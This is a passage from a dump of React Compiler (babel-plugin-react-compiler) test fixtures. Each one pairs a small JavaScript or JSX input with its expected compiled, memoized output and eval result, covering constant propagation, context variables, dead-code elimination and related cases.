    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  const a = -1;\n  return (\n    <Stringify\n      value={[\n        2 * a,\n        -0,\n        0 === -0,\n        -Infinity,\n        -NaN,\n        a * NaN,\n        a * Infinity,\n        a * -Infinity,\n      ]}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Stringify\n        value={[\n          -2,\n          0,\n          true,\n          -Infinity,\n          -NaN,\n          -1 * NaN,\n          -1 * Infinity,\n          -1 * -Infinity,\n        ]}\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":[-2,0,true,null,null,null,null,null]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  const a = -1;\n  return (\n    <Stringify\n      value={[\n        2 * a,\n        -0,\n        0 === -0,\n        -Infinity,\n        -NaN,\n        a * NaN,\n        a * Infinity,\n        a * -Infinity,\n      ]}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  let _b;\n  const b = true;\n  if (!b) {\n    _b = 'bar';\n  } else {\n    _b = 'baz';\n  }\n\n  return (\n    <Stringify\n      value={{\n        _b,\n        b0: !true,\n        n0: !0,\n        n1: !1,\n        n2: !2,\n        n3: !-1,\n        s0: !'',\n        s1: !'a',\n        s2: !'ab',\n        u: !undefined,\n        n: !null,\n      }}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Stringify\n        value={{\n          _b: \"baz\",\n          b0: false,\n          n0: true,\n          n1: false,\n          n2: false,\n          n3: false,\n          s0: true,\n          s1: false,\n          s2: false,\n          u: !undefined,\n          n: true,\n        }}\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":{\"_b\":\"baz\",\"b0\":false,\"n0\":true,\"n1\":false,\"n2\":false,\"n3\":false,\"s0\":true,\"s1\":false,\"s2\":false,\"u\":true,\"n\":true}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  let _b;\n  const b = true;\n  if (!b) {\n    _b = 'bar';\n  } else {\n    _b = 'baz';\n  }\n\n  return (\n    <Stringify\n      value={{\n        _b,\n        b0: !true,\n        n0: !0,\n        n1: !1,\n        n2: !2,\n        n3: !-1,\n        s0: !'',\n        s1: !'a',\n        s2: !'ab',\n        u: !undefined,\n        n: !null,\n      }}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 100;\n  let y = 0;\n  while (x < 10) {\n    y += 1;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  let y = 0;\n  while (false) {\n    y = y + 1;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 0"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-while.js",
    "content": "function foo() {\n  let x = 100;\n  let y = 0;\n  while (x < 10) {\n    y += 1;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const a = 1;\n  const b = 2;\n  const c = 3;\n  const d = a + b;\n  const e = d * c;\n  const f = e / d;\n  const g = f - e;\n\n  if (g) {\n    console.log('foo');\n  }\n\n  const h = g;\n  const i = h;\n  const j = i;\n  return j;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  console.log(\"foo\");\n\n  return -6;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) -6\nlogs: ['foo']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.js",
    "content": "function foo() {\n  const a = 1;\n  const b = 2;\n  const c = 3;\n  const d = a + b;\n  const e = d * c;\n  const f = e / d;\n  const g = f - e;\n\n  if (g) {\n    console.log('foo');\n  }\n\n  const h = g;\n  const i = h;\n  const j = i;\n  return j;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constructor.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  new Foo(a, b);\n  let _ = <div a={a} />;\n  new Foo(b);\n  return <div a={a} b={b} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {}\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = [];\n    const b = {};\n    new Foo(a, b);\n    new Foo(b);\n    t0 = <div a={a} b={b} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constructor.js",
    "content": "function Foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  new Foo(a, b);\n  let _ = <div a={a} />;\n  new Foo(b);\n  return <div a={a} b={b} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let Component = Stringify;\n\n  Component = useMemo(() => {\n    return Component;\n  }, [Component]);\n\n  return <Component {...props} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nimport { useMemo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let Component;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    Component = Stringify;\n\n    Component;\n    Component = Component;\n    $[0] = Component;\n  } else {\n    Component = $[0];\n  }\n  let t0;\n  if ($[1] !== props) {\n    t0 = <Component {...props} />;\n    $[1] = props;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"name\":\"Sathya\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let Component = Stringify;\n\n  Component = useMemo(() => {\n    return Component;\n  }, [Component]);\n\n  return <Component {...props} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {invoke} from 'shared-runtime';\n\nfunction Component({shouldReassign}) {\n  let x = null;\n  const reassign = () => {\n    if (shouldReassign) {\n      x = 2;\n    }\n  };\n  invoke(reassign);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{shouldReassign: true}],\n  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { invoke } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { shouldReassign } = t0;\n  let x;\n  if ($[0] !== shouldReassign) {\n    x = null;\n    const reassign = () => {\n      if (shouldReassign) {\n        x = 2;\n      }\n    };\n\n    invoke(reassign);\n    $[0] = shouldReassign;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ shouldReassign: true }],\n  sequentialRenders: [{ shouldReassign: false }, { shouldReassign: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null\n2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.js",
    "content": "import {invoke} from 'shared-runtime';\n\nfunction Component({shouldReassign}) {\n  let x = null;\n  const reassign = () => {\n    if (shouldReassign) {\n      x = 2;\n    }\n  };\n  invoke(reassign);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{shouldReassign: true}],\n  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {conditionalInvoke} from 'shared-runtime';\n\n// same as context-variable-reactive-explicit-control-flow.js, but make\n// the control flow implicit\n\nfunction Component({shouldReassign}) {\n  let x = null;\n  const reassign = () => {\n    x = 2;\n  };\n  conditionalInvoke(shouldReassign, reassign);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{shouldReassign: true}],\n  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { conditionalInvoke } from \"shared-runtime\";\n\n// same as context-variable-reactive-explicit-control-flow.js, but make\n// the control flow implicit\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { shouldReassign } = t0;\n  let x;\n  if ($[0] !== shouldReassign) {\n    x = null;\n    const reassign = () => {\n      x = 2;\n    };\n\n    conditionalInvoke(shouldReassign, reassign);\n    $[0] = shouldReassign;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ shouldReassign: true }],\n  sequentialRenders: [{ shouldReassign: false }, { shouldReassign: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null\n2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.js",
    "content": "import {conditionalInvoke} from 'shared-runtime';\n\n// same as context-variable-reactive-explicit-control-flow.js, but make\n// the control flow implicit\n\nfunction Component({shouldReassign}) {\n  let x = null;\n  const reassign = () => {\n    x = 2;\n  };\n  conditionalInvoke(shouldReassign, reassign);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{shouldReassign: true}],\n  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {invoke} from 'shared-runtime';\n\nfunction Component({cond}) {\n  let x = 2;\n  const obj = {\n    method(cond) {\n      if (cond) {\n        x = 4;\n      }\n    },\n  };\n  invoke(obj.method, cond);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { invoke } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { cond } = t0;\n  let x;\n  if ($[0] !== cond) {\n    x = 2;\n    const obj = {\n      method(cond_0) {\n        if (cond_0) {\n          x = 4;\n        }\n      },\n    };\n    invoke(obj.method, cond);\n    $[0] = cond;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 4"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.js",
    "content": "import {invoke} from 'shared-runtime';\n\nfunction Component({cond}) {\n  let x = 2;\n  const obj = {\n    method(cond) {\n      if (cond) {\n        x = 4;\n      }\n    },\n  };\n  invoke(obj.method, cond);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = null;\n  const callback = () => {\n    console.log(x);\n  };\n  x = {};\n  return <Stringify callback={callback} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let x = null;\n    const callback = () => {\n      console.log(x);\n    };\n    x = {};\n    t0 = <Stringify callback={callback} shouldInvokeFns={true} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"callback\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\nlogs: [{}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = null;\n  const callback = () => {\n    console.log(x);\n  };\n  x = {};\n  return <Stringify callback={callback} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {invoke} from 'shared-runtime';\n\nfunction Component({value}) {\n  let x = null;\n  const reassign = () => {\n    x = value;\n  };\n  invoke(reassign);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 2}],\n  sequentialRenders: [{value: 2}, {value: 4}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { invoke } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let x;\n  if ($[0] !== value) {\n    x = null;\n    const reassign = () => {\n      x = value;\n    };\n\n    invoke(reassign);\n    $[0] = value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 2 }],\n  sequentialRenders: [{ value: 2 }, { value: 4 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2\n4"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.js",
    "content": "import {invoke} from 'shared-runtime';\n\nfunction Component({value}) {\n  let x = null;\n  const reassign = () => {\n    x = value;\n  };\n  invoke(reassign);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 2}],\n  sequentialRenders: [{value: 2}, {value: 4}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {conditionalInvoke} from 'shared-runtime';\n\nfunction Component({doReassign1, doReassign2}) {\n  let x = {};\n  const reassign1 = () => {\n    x = 2;\n  };\n  const reassign2 = () => {\n    x = 3;\n  };\n  conditionalInvoke(doReassign1, reassign1);\n  conditionalInvoke(doReassign2, reassign2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{doReassign1: true, doReassign2: true}],\n  sequentialRenders: [\n    {doReassign1: true, doReassign2: true},\n    {doReassign1: true, doReassign2: false},\n    {doReassign1: false, doReassign2: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { conditionalInvoke } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { doReassign1, doReassign2 } = t0;\n  let x;\n  if ($[0] !== doReassign1 || $[1] !== doReassign2) {\n    x = {};\n    const reassign1 = () => {\n      x = 2;\n    };\n\n    const reassign2 = () => {\n      x = 3;\n    };\n\n    conditionalInvoke(doReassign1, reassign1);\n    conditionalInvoke(doReassign2, reassign2);\n    $[0] = doReassign1;\n    $[1] = doReassign2;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ doReassign1: true, doReassign2: true }],\n  sequentialRenders: [\n    { doReassign1: true, doReassign2: true },\n    { doReassign1: true, doReassign2: false },\n    { doReassign1: false, doReassign2: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 3\n2\n{}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.js",
    "content": "import {conditionalInvoke} from 'shared-runtime';\n\nfunction Component({doReassign1, doReassign2}) {\n  let x = {};\n  const reassign1 = () => {\n    x = 2;\n  };\n  const reassign2 = () => {\n    x = 3;\n  };\n  conditionalInvoke(doReassign1, reassign1);\n  conditionalInvoke(doReassign2, reassign2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{doReassign1: true, doReassign2: true}],\n  sequentialRenders: [\n    {doReassign1: true, doReassign2: true},\n    {doReassign1: true, doReassign2: false},\n    {doReassign1: false, doReassign2: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nfunction component() {\n  let [x, setX] = useState(0);\n  const handler = event => setX(event.target.value);\n  return <input onChange={handler} value={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\nfunction component() {\n  const $ = _c(3);\n  const [x, setX] = useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (event) => setX(event.target.value);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const handler = t0;\n  let t1;\n  if ($[1] !== x) {\n    t1 = <input onChange={handler} value={x} />;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <input value=\"0\">"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.js",
    "content": "import {useState} from 'react';\nfunction component() {\n  let [x, setX] = useState(0);\n  const handler = event => setX(event.target.value);\n  return <input onChange={handler} value={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.expect.md",
    "content": "\n## Input\n\n```javascript\nimport React from 'react';\nimport {shallowCopy} from 'shared-runtime';\n\nfunction Component(props) {\n  const childProps = {style: {width: props.width}};\n  const element = React.createElement('div', childProps, ['hello world']);\n  shallowCopy(childProps); // function that in theory could mutate, we assume not bc createElement freezes\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport React from \"react\";\nimport { shallowCopy } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.width) {\n    t0 = { style: { width: props.width } };\n    $[0] = props.width;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const childProps = t0;\n  let t1;\n  if ($[2] !== childProps) {\n    let t2;\n    if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t2 = [\"hello world\"];\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = React.createElement(\"div\", childProps, t2);\n    $[2] = childProps;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const element = t1;\n  shallowCopy(childProps);\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.js",
    "content": "import React from 'react';\nimport {shallowCopy} from 'shared-runtime';\n\nfunction Component(props) {\n  const childProps = {style: {width: props.width}};\n  const element = React.createElement('div', childProps, ['hello world']);\n  shallowCopy(childProps); // function that in theory could mutate, we assume not bc createElement freezes\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @customOptOutDirectives:[\"use todo memo\"]\nfunction Component() {\n  'use todo memo';\n  return <div>hello world!</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @customOptOutDirectives:[\"use todo memo\"]\nfunction Component() {\n  \"use todo memo\";\n  return <div>hello world!</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world!</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.tsx",
    "content": "// @expectNothingCompiled @customOptOutDirectives:[\"use todo memo\"]\nfunction Component() {\n  'use todo memo';\n  return <div>hello world!</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  let x = 0;\n  let y = 0;\n  while (y < props.max) {\n    x++;\n    y++;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{max: 10}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(props) {\n  let y = 0;\n  while (y < props.max) {\n    y++;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{ max: 10 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 10"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.js",
    "content": "function foo(props) {\n  let x = 0;\n  let y = 0;\n  while (y < props.max) {\n    x++;\n    y++;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{max: 10}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const _ = 42;\n  return props.value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  return props.value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.js",
    "content": "function Component(props) {\n  const _ = 42;\n  return props.value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let i = 0;\n  i++;\n  i = props.i;\n  return i;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{i: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let i;\n\n  i = props.i;\n  return i;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ i: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.js",
    "content": "function Component(props) {\n  let i = 0;\n  i++;\n  i = props.i;\n  return i;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{i: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let i = 0;\n  --i;\n  i = props.i;\n  return i;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{i: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let i;\n\n  i = props.i;\n  return i;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ i: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.js",
    "content": "function Component(props) {\n  let i = 0;\n  --i;\n  i = props.i;\n  return i;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{i: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.expect.md",
